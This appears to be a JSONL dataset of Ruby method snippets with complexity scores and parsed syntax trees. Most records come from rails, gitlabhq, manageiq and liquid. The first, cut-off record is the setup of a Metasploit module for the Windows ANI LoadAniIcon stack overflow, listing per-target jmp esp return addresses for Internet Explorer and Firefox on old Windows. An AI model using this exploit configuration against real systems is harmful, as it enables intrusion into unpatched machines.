improved reliability\n          'Solar Eclipse <solareclipse[at]phreedom.org>'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2007-0038'],\n          ['OSVDB', '33629'],\n          ['BID', '23194'],\n          ['MSB', 'MS07-017']\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 1024 + (rand(1000)),\n          'Compat' =>\n            {\n              'ConnectionType' => '-find',\n            }\n        },\n        'Platform' => 'win',\n\n        # Automatic target tested on:\n        #\n        #   Windows NT SP6 + IE6 SP1\n        #   Windows 2000 SP4 + IE6 SP1\n        #   Windows 2000 SP4 UR1 + IE6 SP1\n        #   Windows XP SP0\n        #   Windows XP SP1\n        #   Windows XP SP2\n        #   Windows XP SP2 + IE7\n        #   Windows 2003 SP0\n        #   Windows 2003 SP1\n        #   Windows 2003 SP1 + IE7\n        #   Windows Vista\n        #\n        #   Windows XP SP0 + Firebird 0.7\n        #   Windows XP SP0 + Firefox 1.0\n        #   Windows XP SP0 + Firefox 1.5\n        #   Windows XP SP2 + Firefox 2.0\n        #   Windows 2003 SP1 + Firefox 2.0\n        #   Windows Vista + Firefox 2.0\n\n        'Targets' => [\n          [\n            '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista',\n            {\n              'Method' => 'automatic'\n            }\n          ],\n          [\n            'IE6 on Windows NT, 2000, XP, 2003 (all languages)',\n            {\n              'Method' => 'jmpesp',\n              'Ret1' => 0x0040afff,   # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe)\n              'Ret2' => 0x004090df    # jmp esp on 2003 SP1, SP2 (iexplore.exe)\n            }\n          ],\n          [\n            'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)',\n            {\n              'Method' => 'jmpesp',\n              'Ret1' => 0x00420B45,   # jmp esp on XP SP2 (iexplore.exe)\n              'Ret2' => 0x00420B45    # jmp esp on 2003 SP1, SP2 (iexplore.exe)\n            }\n          ],\n          [\n            'IE7 and Firefox on Windows Vista (all languages)',\n            {\n              'Method' => 'partial',\n              'Ret' => 0x700B # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll)\n            }\n          ],\n          [\n            'Firefox on Windows XP (English)',\n            {\n              'Method' => 'jmpesp',\n              'Ret1' => 0x77059E48,   # jmp esp on XP (comres.dll)\n              'Ret2' => 0x77019668    # jmp esp on 2003 SP1, SP2 (comres.dll)\n            }\n          ],\n          [\n            'Firefox on Windows 2003 (English)',\n            {\n              'Method' => 'jmpesp',\n              'Ret1' => 0x77019668,   # jmp esp on 2003 SP0 (comres.dll)\n              'Ret2' => 0x77019668    # jmp esp on 2003 SP1, SP2 (comres.dll)\n            }\n          ],\n        ],\n        'DisclosureDate' => '2007-03-28',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('SRVPORT', [ true, \"The daemon port to listen on\", 80 ]),\n        OptString.new('URIPATH', [ true, \"The URI to use.\", \"/\" ])\n      ]\n    )\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\"          LoadAniIcon() function in USER32.dll. The flaw can be triggered through\\n\"]},{\"type\":\"str\",\"children\":[\"          Internet Explorer 6 and 7 by using the CURSOR style sheet directive\\n\"]},{\"type\":\"str\",\"children\":[\"          to load a malicious .ANI file. The module can also exploit Mozilla\\n\"]},{\"type\":\"str\",\"children\":[\"          Firefox by using a UNC path in a moz-icon URL and serving the .ANI file\\n\"]},{\"type\":\"str\",\"children\":[\"          over WebDAV. The vulnerable code in USER32.dll will catch any\\n\"]},{\"type\":\"str\",\"children\":[\"          exceptions that occur while the invalid cursor is loaded, causing the\\n\"]},{\"type\":\"str\",\"children\":[\"          exploit to silently fail when the wrong target has been chosen.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This vulnerability was discovered by Alexander Sotirov of Determina\\n\"]},{\"type\":\"str\",\"children\":[\"          and was rediscovered, in the wild, by McAfee.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"skape\"]},{\"type\":\"str\",\"children\":[\"Solar Eclipse <solareclipse[at]phreedom.org>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2007-0038\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"33629\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"23194\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS07-017\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1024]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[1000]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConnectionType\"]},{\"type\":\"str\",\"children\":[\"-find\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Method\"]},{\"type\":\"str\",\"children\":[\"automatic\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE6 on Windows NT, 2000, XP, 2003 (all languages)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Method\"]},{\"type\":\"str\",\"children\":[\"jmpesp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret1\"]},{\"type\":\"int\",\"children\":[4239359]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret2\"]},{\"type\":\"int\",\"children\":[4231391]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Method\"]},{\"type\":\"str\",\"children\":[\"jmpesp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret1\"]},{\"type\":\"int\",\"children\":[4328261]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret2\"]},{\"type\":\"int\",\"children\":[4328261]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE7 and Firefox on Windows Vista (all languages)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Method\"]},{\"type\":\"str\",\"children\":[\"partial\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[28683]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Firefox on Windows XP (English)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Method\"]},{\"type\":\"str\",\"children\":[\"jmpesp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret1\"]},{\"type\":\"int\",\"children\":[1996856904]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret2\"]},{\"type\":\"int\",\"children\":[1996592744]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Firefox on Windows 2003 (English)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Method\"]},{\"type\":\"str\",\"children\":[\"jmpesp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret1\"]},{\"type\":\"int\",\"children\":[1996592744]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret2\"]},{\"type\":\"int\",\"children\":[1996592744]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2007-03-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The daemon port to listen on\"]},{\"type\":\"int\",\"children\":[80]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URIPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI to use.\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"e3ea8fe7-b42a-47f1-980f-3e04cb58825b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/xml_test.rb","start_line":40,"raw_source":"def test_update_all\n    data = XmlDataType.create!\n    XmlDataType.update_all(payload: \"<bar>baz</bar>\")\n    assert_equal \"<bar>baz</bar>\", data.reload.payload\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"XmlDataType\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"XmlDataType\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"str\",\"children\":[\"<bar>baz</bar>\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<bar>baz</bar>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"reload\"]},\"payload\"]}]}]}]}","id":"cdd5c4bc-5604-479b-b01d-17d4ce4b3a11"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/aggregation_mixin/methods.rb","start_line":49,"raw_source":"def lans\n      hosts = all_hosts\n      MiqPreloader.preload(hosts, :lans)\n      hosts.flat_map(&:lans).compact.uniq\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lans\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hosts\",{\"type\":\"send\",\"children\":[null,\"all_hosts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPreloader\"]},\"preload\",{\"type\":\"lvar\",\"children\":[\"hosts\"]},{\"type\":\"sym\",\"children\":[\"lans\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"lans\"]}]}]},\"compact\"]},\"uniq\"]}]}]}","id":"19daae4b-5863-4238-9653-93e78ff196f3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/create_join_table_test.rb","start_line":108,"raw_source":"def test_drop_join_table_with_the_proper_order\n        connection.create_join_table :videos, :musics\n        connection.drop_join_table :videos, :musics\n\n        assert_not connection.table_exists?(\"musics_videos\")\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_drop_join_table_with_the_proper_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"create_join_table\",{\"type\":\"sym\",\"children\":[\"videos\"]},{\"type\":\"sym\",\"children\":[\"musics\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"drop_join_table\",{\"type\":\"sym\",\"children\":[\"videos\"]},{\"type\":\"sym\",\"children\":[\"musics\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"table_exists?\",{\"type\":\"str\",\"children\":[\"musics_videos\"]}]}]}]}]}","id":"f746aafd-d835-46d6-8e5e-0993165878c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/remove_duplicated_indexes.rb","start_line":90,"raw_source":"def build_change_details(change, table_name, indexes)\n      change.title = \"Remove duplicated index from #{table_name}\".truncate(70, omission: '')\n      change.labels = labels(table_name)\n      change.reviewers = pick_reviewers(table_name, change.identifiers).uniq\n\n      removes_section = indexes.map do |index_to_drop, matching_indexes|\n        matching_indexes_table = matching_indexes.map do |idx|\n          <<-MARKDOWN.strip\n          | `#{idx.name}` | #{idx.columns.map { |col| \"`#{col[:name]} #{col[:order]}`\" }.join(', ')} |\n          MARKDOWN\n        end\n\n        <<~MARKDOWN.strip\n          Drop `#{index_to_drop.name}` as it's already covered by:\n          | Index | Columns |\n          | ----- | ------ |\n          #{matching_indexes_table.join(\"\\n\")}\n        MARKDOWN\n      end\n\n      change.description = <<~MARKDOWN.chomp\n        ## What does this MR do and why?\n\n        Remove duplicated index from `#{table_name}` table.\n\n        ### It removes:\n\n        #{removes_section.join(\"\\n\")}\n\n        It is possible that this MR will still need some changes to drop the index from the database.\n        Currently, the `gitlab-housekeeper` is not always capable of removing all references, so you must check the diff and pipeline failures to confirm if there are any issues.\n        Ensure that the index exists in the production database by checking Joe Bot trough https://console.postgres.ai/gitlab.\n        If the index was already removed or if the index it's being removed in another merge request, consider closing this merge request.\n      MARKDOWN\n\n      change\n    end","complexity_score":35.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_change_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]},{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"indexes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"title=\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Remove duplicated index from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},\"truncate\",{\"type\":\"int\",\"children\":[70]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omission\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"labels=\",{\"type\":\"send\",\"children\":[null,\"labels\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"reviewers=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pick_reviewers\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"identifiers\"]}]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"removes_section\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index_to_drop\"]},{\"type\":\"arg\",\"children\":[\"matching_indexes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matching_indexes_table\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_indexes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          | `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"` | \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\" |\\n\"]}]},\"strip\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Drop `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_to_drop\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"` as it's already covered by:\\n\"]},{\"type\":\"str\",\"children\":[\"| Index | Columns |\\n\"]},{\"type\":\"str\",\"children\":[\"| ----- | ------ |\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_indexes_table\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"description=\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"## What does this MR do and why?\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Remove duplicated index from `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"` table.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### It removes:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removes_section\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"It is possible that this MR will still need some changes to drop the index from the database.\\n\"]},{\"type\":\"str\",\"children\":[\"Currently, the `gitlab-housekeeper` is not always capable of removing all references, so you must check the diff and pipeline failures to confirm if there are any issues.\\n\"]},{\"type\":\"str\",\"children\":[\"Ensure that the index exists in the production database by checking Joe Bot trough https://console.postgres.ai/gitlab.\\n\"]},{\"type\":\"str\",\"children\":[\"If the index was already removed or if the index it's being removed in another merge request, consider closing this merge request.\\n\"]}]},\"chomp\"]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}","id":"ae59c10f-bc6a-4c9c-9e0b-dc8e1649d20a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/catalog/resources/create_service.rb","start_line":11,"raw_source":"def initialize(project, user)\n          @current_user = user\n          @project = project\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"2c44f4d3-cdfd-4aae-bdd2-7c9883458f32"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":1269,"raw_source":"def test_sum_of_negative_floats\n    input = [0.1, 0.2, -0.3]\n    assert_equal(0.0, @filters.sum(input))\n    assert_template_result(\"0.0\", \"{{ input | sum }}\", { \"input\" => input })\n  end","complexity_score":4.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sum_of_negative_floats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[0.1]},{\"type\":\"float\",\"children\":[0.2]},{\"type\":\"float\",\"children\":[-0.3]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"float\",\"children\":[0.0]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"sum\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"0.0\"]},{\"type\":\"str\",\"children\":[\"{{ input | sum }}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"input\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]}]}]}]}]}","id":"53124d10-a6dd-431a-b527-4bb00c10f7e0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/string/output_safety.rb","start_line":198,"raw_source":"def explicit_html_escape_interpolated_argument(arg)\n        (!html_safe? || arg.html_safe?) ? arg : ERB::Util.unwrapped_html_escape(arg)\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"explicit_html_escape_interpolated_argument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_safe?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"html_safe?\"]}]}]},{\"type\":\"lvar\",\"children\":[\"arg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"unwrapped_html_escape\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]}","id":"1beeb736-e787-4d69-8971-ad9a4608e4c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/npm/create_metadata_cache_service.rb","start_line":17,"raw_source":"def execute\n        try_obtain_lease do\n          Packages::Npm::MetadataCache\n            .find_or_build(package_name: package_name, project_id: project.id)\n            .update!(\n              file: CarrierWaveStringFile.new(metadata_content),\n              size: metadata_content.bytesize\n            )\n        end\n      end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_obtain_lease\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"Npm\"]},\"MetadataCache\"]},\"find_or_build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_name\"]},{\"type\":\"send\",\"children\":[null,\"package_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CarrierWaveStringFile\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"metadata_content\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata_content\"]},\"bytesize\"]}]}]}]}]}]}","id":"8aac3e68-356f-4251-a88d-32582f40bc92"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_provision_quota_mixin.rb","start_line":243,"raw_source":"def quota_find_prov_request_by_group(options)\n    prov_requests = []\n    prov_owner = get_owner\n    unless prov_owner.nil?\n      group = prov_owner.ldap_group\n      prov_requests = quota_find_prov_requests(options).delete_if do |p|\n        prov_req_owner = p.get_owner\n        prov_req_owner.nil? ? true : group.casecmp(prov_req_owner.ldap_group) != 0\n      end\n    end\n    prov_requests\n  